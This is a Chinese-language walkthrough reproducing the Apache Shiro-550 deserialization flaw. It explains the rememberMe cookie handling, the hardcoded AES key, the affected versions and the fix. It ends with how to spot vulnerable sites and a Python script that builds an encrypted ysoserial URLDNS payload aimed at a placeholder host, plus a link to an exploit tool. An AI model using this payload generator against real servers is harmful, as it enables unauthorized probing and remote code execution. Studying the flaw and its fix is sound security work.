Shiro550漏洞复现

漏洞概述

shiro框架可以实现自动登录,当用户选择开启免登录功能时,shiro会自动对用户对象序列化并加密,通过Set-Cookie: rememberMe发送给客户端。

当用户下次访问网站时,如果存在cookie rememberMe,在过滤器中会对该字段的值进行解密,来判断是否是合法免登录用户,服务端处理rememberMe流程:

  1. 获取rememberMe cookie值
  2. BASE64解码
  3. 取前16位作为AES解密的IV
  4. 取[16:]作为待解密数据
  5. 通过硬编码密钥kPH+bIxk5D2deZiIxcaaaA==+IV使用AES/CBC/pkcs5解密(>1.4.1版本采用AES/GCM)
  6. 反序列化解密后数据

因为AES是硬编码,导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

影响版本

Apache Shiro <= 1.2.4

漏洞复现

核心类:

  • RememberMeManager (接口类,定义了处理rememberMe的接口)

  • AbstractRememberMeManager (实现RememberMeManager接口)

  • CookieRememberMeManager (AbstractRememberMeManager的子类)

  • JcaCipherService (数据加解密类)

  • DefaultSerializer (序列化/反序列化类)

OncePerRequestFilter类的doFilter方法为shiro过滤器

最后会调用AbstractRememberMeManagergetRememberedPrincipals方法来处理rememberMe的值

调用子类CookieRememberMeManagergetRememberedSerializedIdentity方法将rememberMe的值进行BASE64解码

调用convertBytesToPrincipals方法对base64解码后的数据解密、反序列化

在解密流程中调用了JcaCipherServicedecrypt方法

入参ciphertext为解码后的数据,key为密钥KEY,硬编码在AbstractRememberMeManager类中

最后调用JcaCipherServicecrypt方法完成解密

convertBytesToPrincipals方法中,解密后调用DefaultSerializerdeserialize方法来反序列化

漏洞修复

升级到最新版本

Apache Shiro 1.2.5版本修复方法就是将默认Key加密改为生成随机的Key加密

https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848

漏洞挖掘

特征判断

  1. 返回包cookie中存在rememberMe=deleteMe
  2. 返回包cookie中存在rememberMexxxx=deleteMe,相应的请求中的cookie也要设置为rememberMexxxx

利用工具

DNSLOG payload生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme("http://xx.xxx.xx") #域名
print("rememberMe={}".format(payload.decode()))
ShiroExploit

https://github.com/KpLi0rn/ShiroExploit